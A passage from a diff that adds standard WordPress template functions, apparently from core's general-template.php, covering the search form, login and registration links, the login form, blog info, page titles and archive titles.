+	 *
+	 * @param string $slug The slug name for the generic template.
+	 * @param string $name The name of the specialized template.
+	 */
+	do_action( "get_template_part_{$slug}", $slug, $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name )
+		$templates[] = "{$slug}-{$name}.php";
+
+	$templates[] = "{$slug}.php";
+
+	locate_template($templates, true, false);
+}
+
+/**
+ * Display search form.
+ *
+ * Will first attempt to locate the searchform.php file in either the child or
+ * the parent, then load it. If it doesn't exist, then the default search form
+ * will be displayed. The default search form is HTML, which will be displayed.
+ * There is a filter applied to the search form HTML in order to edit or replace
+ * it. The filter is 'get_search_form'.
+ *
+ * This function is primarily used by themes which want to hardcode the search
+ * form into the sidebar and also by the search widget in WordPress.
+ *
+ * There is also an action that is called whenever the function is run called,
+ * 'pre_get_search_form'. This can be useful for outputting JavaScript that the
+ * search relies on or various formatting that applies to the beginning of the
+ * search. To give a few examples of what it can be used for.
+ *
+ * @since 2.7.0
+ *
+ * @param boolean $echo Default to echo and not return the form.
+ * @return string|null String when retrieving, null when displaying or if searchform.php exists.
+ */
+function get_search_form( $echo = true ) {
+	/**
+	 * Fires before the search form is retrieved, at the start of get_search_form().
+	 *
+	 * @since 2.7.0 as 'get_search_form' action.
+	 * @since 3.6.0
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/19321
+	 */
+	do_action( 'pre_get_search_form' );
+
+	$format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';
+
+	/**
+	 * Filter the HTML format of the search form.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $format The type of markup to use in the search form.
+	 *                       Accepts 'html5', 'xhtml'.
+	 */
+	$format = apply_filters( 'search_form_format', $format );
+
+	$search_form_template = locate_template( 'searchform.php' );
+	if ( '' != $search_form_template ) {
+		ob_start();
+		require( $search_form_template );
+		$form = ob_get_clean();
+	} else {
+		if ( 'html5' == $format ) {
+			$form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
+				<label>
+					<span class="screen-reader-text">' . _x( 'Search for:', 'label' ) . '</span>
+					<input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search &hellip;', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" title="' . esc_attr_x( 'Search for:', 'label' ) . '" />
+				</label>
+				<input type="submit" class="search-submit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
+			</form>';
+		} else {
+			$form = '<form role="search" method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
+				<div>
+					<label class="screen-reader-text" for="s">' . _x( 'Search for:', 'label' ) . '</label>
+					<input type="text" value="' . get_search_query() . '" name="s" id="s" />
+					<input type="submit" id="searchsubmit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
+				</div>
+			</form>';
+		}
+	}
+
+	/**
+	 * Filter the HTML output of the search form.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $form The search form HTML output.
+	 */
+	$result = apply_filters( 'get_search_form', $form );
+
+	if ( null === $result )
+		$result = $form;
+
+	if ( $echo )
+		echo $result;
+	else
+		return $result;
+}
+
+/**
+ * Display the Log In/Out link.
+ *
+ * Displays a link, which allows users to navigate to the Log In page to log in
+ * or log out depending on whether they are currently logged in.
+ *
+ * @since 1.5.0
+ *
+ * @param string $redirect Optional path to redirect to on login/logout.
+ * @param boolean $echo Default to echo and not return the link.
+ * @return string|null String when retrieving, null when displaying.
+ */
+function wp_loginout($redirect = '', $echo = true) {
+	if ( ! is_user_logged_in() )
+		$link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
+	else
+		$link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
+
+	if ( $echo ) {
+		/**
+		 * Filter the HTML output for the Log In/Log Out link.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $link The HTML link content.
+		 */
+		echo apply_filters( 'loginout', $link );
+	} else {
+		/** This filter is documented in wp-includes/general-template.php */
+		return apply_filters( 'loginout', $link );
+	}
+}
+
+/**
+ * Returns the Log Out URL.
+ *
+ * Returns the URL that allows the user to log out of the site.
+ *
+ * @since 2.7.0
+ *
+ * @param string $redirect Path to redirect to on logout.
+ * @return string A log out URL.
+ */
+function wp_logout_url($redirect = '') {
+	$args = array( 'action' => 'logout' );
+	if ( !empty($redirect) ) {
+		$args['redirect_to'] = urlencode( $redirect );
+	}
+
+	$logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
+	$logout_url = wp_nonce_url( $logout_url, 'log-out' );
+
+	/**
+	 * Filter the logout URL.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $logout_url The Log Out URL.
+	 * @param string $redirect   Path to redirect to on logout.
+	 */
+	return apply_filters( 'logout_url', $logout_url, $redirect );
+}
+
+/**
+ * Returns the Log In URL.
+ *
+ * Returns the URL that allows the user to log in to the site.
+ *
+ * @since 2.7.0
+ *
+ * @param string $redirect Path to redirect to on login.
+ * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present. Default is false.
+ * @return string A log in URL.
+ */
+function wp_login_url($redirect = '', $force_reauth = false) {
+	$login_url = site_url('wp-login.php', 'login');
+
+	if ( !empty($redirect) )
+		$login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
+
+	if ( $force_reauth )
+		$login_url = add_query_arg('reauth', '1', $login_url);
+
+	/**
+	 * Filter the login URL.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $login_url The login URL.
+	 * @param string $redirect  The path to redirect to on login, if supplied.
+	 */
+	return apply_filters( 'login_url', $login_url, $redirect );
+}
+
+/**
+ * Returns the user registration URL.
+ *
+ * Returns the URL that allows the user to register on the site.
+ *
+ * @since 3.6.0
+ *
+ * @return string User registration URL.
+ */
+function wp_registration_url() {
+	/**
+	 * Filter the user registration URL.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $register The user registration URL.
+	 */
+	return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
+}
+
+/**
+ * Provides a simple login form for use anywhere within WordPress. By default, it echoes
+ * the HTML immediately. Pass array('echo'=>false) to return the string instead.
+ *
+ * @since 3.0.0
+ *
+ * @param array $args Configuration options to modify the form output.
+ * @return string|null String when retrieving, null when displaying.
+ */
+function wp_login_form( $args = array() ) {
+	$defaults = array(
+		'echo' => true,
+		'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], // Default redirect is back to the current page
+		'form_id' => 'loginform',
+		'label_username' => __( 'Username' ),
+		'label_password' => __( 'Password' ),
+		'label_remember' => __( 'Remember Me' ),
+		'label_log_in' => __( 'Log In' ),
+		'id_username' => 'user_login',
+		'id_password' => 'user_pass',
+		'id_remember' => 'rememberme',
+		'id_submit' => 'wp-submit',
+		'remember' => true,
+		'value_username' => '',
+		'value_remember' => false, // Set this to true to default the "Remember me" checkbox to checked
+	);
+
+	/**
+	 * Filter the default login form output arguments.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_login_form()
+	 *
+	 * @param array $defaults An array of default login form arguments.
+	 */
+	$args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
+
+	/**
+	 * Filter content to display at the top of the login form.
+	 *
+	 * The filter evaluates just following the opening form tag element.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content Content to display. Default empty.
+	 * @param array  $args    Array of login form arguments.
+	 */
+	$login_form_top = apply_filters( 'login_form_top', '', $args );
+
+	/**
+	 * Filter content to display in the middle of the login form.
+	 *
+	 * The filter evaluates just following the location where the 'login-password'
+	 * field is displayed.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content Content to display. Default empty.
+	 * @param array  $args    Array of login form arguments.
+	 */
+	$login_form_middle = apply_filters( 'login_form_middle', '', $args );
+
+	/**
+	 * Filter content to display at the bottom of the login form.
+	 *
+	 * The filter evaluates just preceding the closing form tag element.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $content Content to display. Default empty.
+	 * @param array  $args    Array of login form arguments.
+	 */
+	$login_form_bottom = apply_filters( 'login_form_bottom', '', $args );
+
+	$form = '
+		<form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
+			' . $login_form_top . '
+			<p class="login-username">
+				<label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
+				<input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
+			</p>
+			<p class="login-password">
+				<label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
+				<input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
+			</p>
+			' . $login_form_middle . '
+			' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
+			<p class="login-submit">
+				<input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
+				<input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
+			</p>
+			' . $login_form_bottom . '
+		</form>';
+
+	if ( $args['echo'] )
+		echo $form;
+	else
+		return $form;
+}
+
+/**
+ * Returns the Lost Password URL.
+ *
+ * Returns the URL that allows the user to retrieve the lost password
+ *
+ * @since 2.8.0
+ *
+ * @param string $redirect Path to redirect to on login.
+ * @return string Lost password URL.
+ */
+function wp_lostpassword_url( $redirect = '' ) {
+	$args = array( 'action' => 'lostpassword' );
+	if ( !empty($redirect) ) {
+		$args['redirect_to'] = $redirect;
+	}
+
+	$lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
+
+	/**
+	 * Filter the Lost Password URL.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $lostpassword_url The lost password page URL.
+	 * @param string $redirect         The path to redirect to on login.
+	 */
+	return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
+}
+
+/**
+ * Display the Registration or Admin link.
+ *
+ * Display a link which allows the user to navigate to the registration page if
+ * not logged in and registration is enabled or to the dashboard if logged in.
+ *
+ * @since 1.5.0
+ *
+ * @param string $before Text to output before the link. Default `<li>`.
+ * @param string $after Text to output after the link. Default `</li>`.
+ * @param boolean $echo Default to echo and not return the link.
+ * @return string|null String when retrieving, null when displaying.
+ */
+function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
+
+	if ( ! is_user_logged_in() ) {
+		if ( get_option('users_can_register') )
+			$link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __('Register') . '</a>' . $after;
+		else
+			$link = '';
+	} else {
+		$link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
+	}
+
+	/**
+	 * Filter the HTML link to the Registration or Admin page.
+	 *
+	 * Users are sent to the admin page if logged-in, or the registration page
+	 * if enabled and logged-out.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $link The HTML code for the link to the Registration or Admin page.
+	 */
+	$link = apply_filters( 'register', $link );
+
+	if ( $echo ) {
+		echo $link;
+	} else {
+		return $link;
+	}
+}
+
+/**
+ * Theme container function for the 'wp_meta' action.
+ *
+ * The 'wp_meta' action can have several purposes, depending on how you use it,
+ * but one purpose might have been to allow for theme switching.
+ *
+ * @since 1.5.0
+ *
+ * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
+ */
+function wp_meta() {
+	/**
+	 * Fires before displaying echoed content in the sidebar.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'wp_meta' );
+}
+
+/**
+ * Display information about the blog.
+ *
+ * @see get_bloginfo() For possible values for the parameter.
+ * @since 0.71
+ *
+ * @param string $show What to display.
+ */
+function bloginfo( $show='' ) {
+	echo get_bloginfo( $show, 'display' );
+}
+
+/**
+ * Retrieve information about the blog.
+ *
+ * Some show parameter values are deprecated and will be removed in future
+ * versions. These options will trigger the {@see _deprecated_argument()}
+ * function. The deprecated blog info options are listed in the function
+ * contents.
+ *
+ * The possible values for the 'show' parameter are listed below.
+ *
+ * 1. url - Blog URI to homepage.
+ * 2. wpurl - Blog URI path to WordPress.
+ * 3. description - Secondary title
+ *
+ * The feed URL options can be retrieved from 'rdf_url' (RSS 0.91),
+ * 'rss_url' (RSS 1.0), 'rss2_url' (RSS 2.0), or 'atom_url' (Atom feed). The
+ * comment feeds can be retrieved from the 'comments_atom_url' (Atom comment
+ * feed) or 'comments_rss2_url' (RSS 2.0 comment feed).
+ *
+ * @since 0.71
+ *
+ * @param string $show Blog info to retrieve.
+ * @param string $filter How to filter what is retrieved.
+ * @return string Mostly string values, might be empty.
+ */
+function get_bloginfo( $show = '', $filter = 'raw' ) {
+
+	switch( $show ) {
+		case 'home' : // DEPRECATED
+		case 'siteurl' : // DEPRECATED
+			_deprecated_argument( __FUNCTION__, '2.2', sprintf( __('The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> option instead.' ), 'url'  ) );
+		case 'url' :
+			$output = home_url();
+			break;
+		case 'wpurl' :
+			$output = site_url();
+			break;
+		case 'description':
+			$output = get_option('blogdescription');
+			break;
+		case 'rdf_url':
+			$output = get_feed_link('rdf');
+			break;
+		case 'rss_url':
+			$output = get_feed_link('rss');
+			break;
+		case 'rss2_url':
+			$output = get_feed_link('rss2');
+			break;
+		case 'atom_url':
+			$output = get_feed_link('atom');
+			break;
+		case 'comments_atom_url':
+			$output = get_feed_link('comments_atom');
+			break;
+		case 'comments_rss2_url':
+			$output = get_feed_link('comments_rss2');
+			break;
+		case 'pingback_url':
+			$output = site_url( 'xmlrpc.php' );
+			break;
+		case 'stylesheet_url':
+			$output = get_stylesheet_uri();
+			break;
+		case 'stylesheet_directory':
+			$output = get_stylesheet_directory_uri();
+			break;
+		case 'template_directory':
+		case 'template_url':
+			$output = get_template_directory_uri();
+			break;
+		case 'admin_email':
+			$output = get_option('admin_email');
+			break;
+		case 'charset':
+			$output = get_option('blog_charset');
+			if ('' == $output) $output = 'UTF-8';
+			break;
+		case 'html_type' :
+			$output = get_option('html_type');
+			break;
+		case 'version':
+			global $wp_version;
+			$output = $wp_version;
+			break;
+		case 'language':
+			$output = get_locale();
+			$output = str_replace('_', '-', $output);
+			break;
+		case 'text_direction':
+			//_deprecated_argument( __FUNCTION__, '2.2', sprintf( __('The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> function instead.' ), 'is_rtl()'  ) );
+			if ( function_exists( 'is_rtl' ) ) {
+				$output = is_rtl() ? 'rtl' : 'ltr';
+			} else {
+				$output = 'ltr';
+			}
+			break;
+		case 'name':
+		default:
+			$output = get_option('blogname');
+			break;
+	}
+
+	$url = true;
+	if (strpos($show, 'url') === false &&
+		strpos($show, 'directory') === false &&
+		strpos($show, 'home') === false)
+		$url = false;
+
+	if ( 'display' == $filter ) {
+		if ( $url ) {
+			/**
+			 * Filter the URL returned by get_bloginfo().
+			 *
+			 * @since 2.0.5
+			 *
+			 * @param mixed $output The URL returned by bloginfo().
+			 * @param mixed $show   Type of information requested.
+			 */
+			$output = apply_filters( 'bloginfo_url', $output, $show );
+		} else {
+			/**
+			 * Filter the site information returned by get_bloginfo().
+			 *
+			 * @since 0.71
+			 *
+			 * @param mixed $output The requested non-URL site information.
+			 * @param mixed $show   Type of information requested.
+			 */
+			$output = apply_filters( 'bloginfo', $output, $show );
+		}
+	}
+
+	return $output;
+}
+
+/**
+ * Display title tag with contents.
+ *
+ * @since 4.1.0
+ * @access private
+ * @internal
+ *
+ * @see wp_title()
+ */
+function _wp_render_title_tag() {
+	if ( ! current_theme_supports( 'title-tag' ) ) {
+		return;
+	}
+
+	// This can only work internally on wp_head.
+	if ( ! did_action( 'wp_head' ) && ! doing_action( 'wp_head' ) ) {
+		return;
+	}
+
+	echo '<title>' . wp_title( '|', false, 'right' ) . "</title>\n";
+}
+
+/**
+ * Display or retrieve page title for all areas of blog.
+ *
+ * By default, the page title will display the separator before the page title,
+ * so that the blog title will be before the page title. This is not good for
+ * title display, since the blog title shows up on most tabs and not what is
+ * important, which is the page that the user is looking at.
+ *
+ * There are also SEO benefits to having the blog title after or to the 'right'
+ * or the page title. However, it is mostly common sense to have the blog title
+ * to the right with most browsers supporting tabs. You can achieve this by
+ * using the seplocation parameter and setting the value to 'right'. This change
+ * was introduced around 2.5.0, in case backwards compatibility of themes is
+ * important.
+ *
+ * @since 1.0.0
+ *
+ * @param string $sep Optional, default is '&raquo;'. How to separate the various items within the page title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @param string $seplocation Optional. Direction to display title, 'right'.
+ * @return string|null String on retrieve, null when displaying.
+ */
+function wp_title($sep = '&raquo;', $display = true, $seplocation = '') {
+	global $wp_locale, $page, $paged;
+
+	$m = get_query_var('m');
+	$year = get_query_var('year');
+	$monthnum = get_query_var('monthnum');
+	$day = get_query_var('day');
+	$search = get_query_var('s');
+	$title = '';
+
+	$t_sep = '%WP_TITILE_SEP%'; // Temporary separator, for accurate flipping, if necessary
+
+	// If there is a post
+	if ( is_single() || ( is_home() && !is_front_page() ) || ( is_page() && !is_front_page() ) ) {
+		$title = single_post_title( '', false );
+	}
+
+	// If there's a post type archive
+	if ( is_post_type_archive() ) {
+		$post_type = get_query_var( 'post_type' );
+		if ( is_array( $post_type ) )
+			$post_type = reset( $post_type );
+		$post_type_object = get_post_type_object( $post_type );
+		if ( ! $post_type_object->has_archive )
+			$title = post_type_archive_title( '', false );
+	}
+
+	// If there's a category or tag
+	if ( is_category() || is_tag() ) {
+		$title = single_term_title( '', false );
+	}
+
+	// If there's a taxonomy
+	if ( is_tax() ) {
+		$term = get_queried_object();
+		if ( $term ) {
+			$tax = get_taxonomy( $term->taxonomy );
+			$title = single_term_title( $tax->labels->name . $t_sep, false );
+		}
+	}
+
+	// If there's an author
+	if ( is_author() && ! is_post_type_archive() ) {
+		$author = get_queried_object();
+		if ( $author )
+			$title = $author->display_name;
+	}
+
+	// Post type archives with has_archive should override terms.
+	if ( is_post_type_archive() && $post_type_object->has_archive )
+		$title = post_type_archive_title( '', false );
+
+	// If there's a month
+	if ( is_archive() && !empty($m) ) {
+		$my_year = substr($m, 0, 4);
+		$my_month = $wp_locale->get_month(substr($m, 4, 2));
+		$my_day = intval(substr($m, 6, 2));
+		$title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
+	}
+
+	// If there's a year
+	if ( is_archive() && !empty($year) ) {
+		$title = $year;
+		if ( !empty($monthnum) )
+			$title .= $t_sep . $wp_locale->get_month($monthnum);
+		if ( !empty($day) )
+			$title .= $t_sep . zeroise($day, 2);
+	}
+
+	// If it's a search
+	if ( is_search() ) {
+		/* translators: 1: separator, 2: search phrase */
+		$title = sprintf(__('Search Results %1$s %2$s'), $t_sep, strip_tags($search));
+	}
+
+	// If it's a 404 page
+	if ( is_404() ) {
+		$title = __('Page not found');
+	}
+
+	$prefix = '';
+	if ( !empty($title) )
+		$prefix = " $sep ";
+
+	/**
+	 * Filter the parts of the page title.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $title_array Parts of the page title.
+	 */
+	$title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );
+
+ 	// Determines position of the separator and direction of the breadcrumb
+	if ( 'right' == $seplocation ) { // sep on right, so reverse the order
+		$title_array = array_reverse( $title_array );
+		$title = implode( " $sep ", $title_array ) . $prefix;
+	} else {
+		$title = $prefix . implode( " $sep ", $title_array );
+	}
+
+	if ( current_theme_supports( 'title-tag' ) && ! is_feed() ) {
+		$title .= get_bloginfo( 'name', 'display' );
+
+		$site_description = get_bloginfo( 'description', 'display' );
+		if ( $site_description && ( is_home() || is_front_page() ) ) {
+			$title .= " $sep $site_description";
+		}
+
+		if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
+			$title .= " $sep " . sprintf( __( 'Page %s' ), max( $paged, $page ) );
+		}
+	}
+
+	/**
+	 * Filter the text of the page title.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $title       Page title.
+	 * @param string $sep         Title separator.
+	 * @param string $seplocation Location of the separator (left or right).
+	 */
+	$title = apply_filters( 'wp_title', $title, $sep, $seplocation );
+
+	// Send it out
+	if ( $display )
+		echo $title;
+	else
+		return $title;
+
+}
+
+/**
+ * Display or retrieve page title for post.
+ *
+ * This is optimized for single.php template file for displaying the post title.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_post_title($prefix = '', $display = true) {
+	$_post = get_queried_object();
+
+	if ( !isset($_post->post_title) )
+		return;
+
+	/**
+	 * Filter the page title for a single post.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $_post_title The single post page title.
+	 * @param object $_post       The current queried object as returned by get_queried_object().
+	 */
+	$title = apply_filters( 'single_post_title', $_post->post_title, $_post );
+	if ( $display )
+		echo $prefix . $title;
+	else
+		return $prefix . $title;
+}
+
+/**
+ * Display or retrieve title for a post type archive.
+ *
+ * This is optimized for archive.php and archive-{$post_type}.php template files
+ * for displaying the title of the post type.
+ *
+ * @since 3.1.0
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function post_type_archive_title( $prefix = '', $display = true ) {
+	if ( ! is_post_type_archive() )
+		return;
+
+	$post_type = get_query_var( 'post_type' );
+	if ( is_array( $post_type ) )
+		$post_type = reset( $post_type );
+
+	$post_type_obj = get_post_type_object( $post_type );
+
+	/**
+	 * Filter the post type archive title.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $post_type_name Post type 'name' label.
+	 * @param string $post_type      Post type.
+	 */
+	$title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );
+
+	if ( $display )
+		echo $prefix . $title;
+	else
+		return $prefix . $title;
+}
+
+/**
+ * Display or retrieve page title for category archive.
+ *
+ * This is useful for category template file or files, because it is optimized
+ * for category page title and with less overhead than {@link wp_title()}.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_cat_title( $prefix = '', $display = true ) {
+	return single_term_title( $prefix, $display );
+}
+
+/**
+ * Display or retrieve page title for tag post archive.
+ *
+ * Useful for tag template files for displaying the tag page title. It has less
+ * overhead than {@link wp_title()}, because of its limited implementation.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 2.3.0
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_tag_title( $prefix = '', $display = true ) {
+	return single_term_title( $prefix, $display );
+}
+
+/**
+ * Display or retrieve page title for taxonomy term archive.
+ *
+ * Useful for taxonomy term template files for displaying the taxonomy term page title.
+ * It has less overhead than {@link wp_title()}, because of its limited implementation.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 3.1.0
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_term_title( $prefix = '', $display = true ) {
+	$term = get_queried_object();
+
+	if ( !$term )
+		return;
+
+	if ( is_category() ) {
+		/**
+		 * Filter the category archive page title.
+		 *
+		 * @since 2.0.10
+		 *
+		 * @param string $term_name Category name for archive being displayed.
+		 */
+		$term_name = apply_filters( 'single_cat_title', $term->name );
+	} elseif ( is_tag() ) {
+		/**
+		 * Filter the tag archive page title.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $term_name Tag name for archive being displayed.
+		 */
+		$term_name = apply_filters( 'single_tag_title', $term->name );
+	} elseif ( is_tax() ) {
+		/**
+		 * Filter the custom taxonomy archive page title.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $term_name Term name for archive being displayed.
+		 */
+		$term_name = apply_filters( 'single_term_title', $term->name );
+	} else {
+		return;
+	}
+
+	if ( empty( $term_name ) )
+		return;
+
+	if ( $display )
+		echo $prefix . $term_name;
+	else
+		return $prefix . $term_name;
+}
+
+/**
+ * Display or retrieve page title for post archive based on date.
+ *
+ * Useful for when the template only needs to display the month and year, if
+ * either are available. Optimized for just this purpose, so if it is all that
+ * is needed, should be better than {@link wp_title()}.
+ *
+ * It does not support placing the separator after the title, but by leaving the
+ * prefix parameter empty, you can set the title separator manually. The prefix
+ * does not automatically place a space between the prefix, so if there should
+ * be a space, the parameter value will need to have it at the end.
+ *
+ * @since 0.71
+ *
+ * @param string $prefix Optional. What to display before the title.
+ * @param bool $display Optional, default is true. Whether to display or retrieve title.
+ * @return string|null Title when retrieving, null when displaying or failure.
+ */
+function single_month_title($prefix = '', $display = true ) {
+	global $wp_locale;
+
+	$m = get_query_var('m');
+	$year = get_query_var('year');
+	$monthnum = get_query_var('monthnum');
+
+	if ( !empty($monthnum) && !empty($year) ) {
+		$my_year = $year;
+		$my_month = $wp_locale->get_month($monthnum);
+	} elseif ( !empty($m) ) {
+		$my_year = substr($m, 0, 4);
+		$my_month = $wp_locale->get_month(substr($m, 4, 2));
+	}
+
+	if ( empty($my_month) )
+		return false;
+
+	$result = $prefix . $my_month . $prefix . $my_year;
+
+	if ( !$display )
+		return $result;
+	echo $result;
+}
+
+/**
+ * Display the archive title based on the queried object.
+ *
+ * @since 4.1.0
+ *
+ * @see get_the_archive_title()
+ *
+ * @param string $before Optional. Content to prepend to the title. Default empty.
+ * @param string $after  Optional. Content to append to the title. Default empty.
+ */
+function the_archive_title( $before = '', $after = '' ) {
+	$title = get_the_archive_title();
+
+	if ( ! empty( $title ) ) {
+		echo $before . $title . $after;
+	}
+}
+
+/**
+ * Retrieve the archive title based on the queried object.
+ *
+ * @since 4.1.0
+ *
+ * @return string Archive title.
+ */
+function get_the_archive_title() {
+	if ( is_category() ) {
+		$title = sprintf( __( 'Category: %s' ), single_cat_title( '', false ) );
+	} elseif ( is_tag() ) {
+		$title = sprintf( __( 'Tag: %s' ), single_tag_title( '', false ) );
+	} elseif ( is_author() ) {
+		$title = sprintf( __( 'Author: %s' ), '<span class="vcard">' . get_the_author() . '</span>' );
+	} elseif ( is_year() ) {
+		$title = sprintf( __( 'Year: %s' ), get_the_date( _x( 'Y', 'yearly archives date format' ) ) );
+	} elseif ( is_month() ) {
+		$title = sprintf( __( 'Month: %s' ), get_the_date( _x( 'F Y', 'monthly archives date format' ) ) );
+	} elseif ( is_day() ) {
+		$title = sprintf( __( 'Day: %s' ), get_the_date( _x( 'F j, Y', 'daily archives date format' ) ) );
+	} elseif ( is_tax( 'post_format' ) ) {
+		if ( is_tax( 'post_format', 'post-format-aside' ) ) {
+			$title = _x( 'Asides', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
+			$title = _x( 'Galleries', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
+			$title = _x( 'Images', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
+			$title = _x( 'Videos', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
+			$title = _x( 'Quotes', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
+			$title = _x( 'Links', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
+			$title = _x( 'Statuses', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
+			$title = _x( 'Audio', 'post format archive title' );
+		} elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
+			$title = _x( 'Chats', 'post format archive title' );
+		}
+	} elseif ( is_post_type_archive() ) {
+		$title = sprintf( __( 'Archives: %s' ), post_type_archive_title( '', false ) );
+	} elseif ( is_tax() ) {
+		$tax = get_taxonomy( get_queried_object()->taxonomy );
+		/* translators: 1: Taxonomy singular name, 2: Current taxonomy term */
+		$title = sprintf( __( '%1$s: %2$s' ), $tax->labels->singular_name, single_term_title( '', false ) );
+	} else {
+		$title = __( 'Archives' );
+	}
+
+	/**
+	 * Filter the archive title.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param string $title Archive title to be displayed.
+	 */
+	return apply_filters( 'get_the_archive_title', $title );
+}
+
+/**
+ * Display category, tag, or term description.
+ *
+ * @since 4.1.0
+ *
+ * @see get_the_archive_description()
+ *
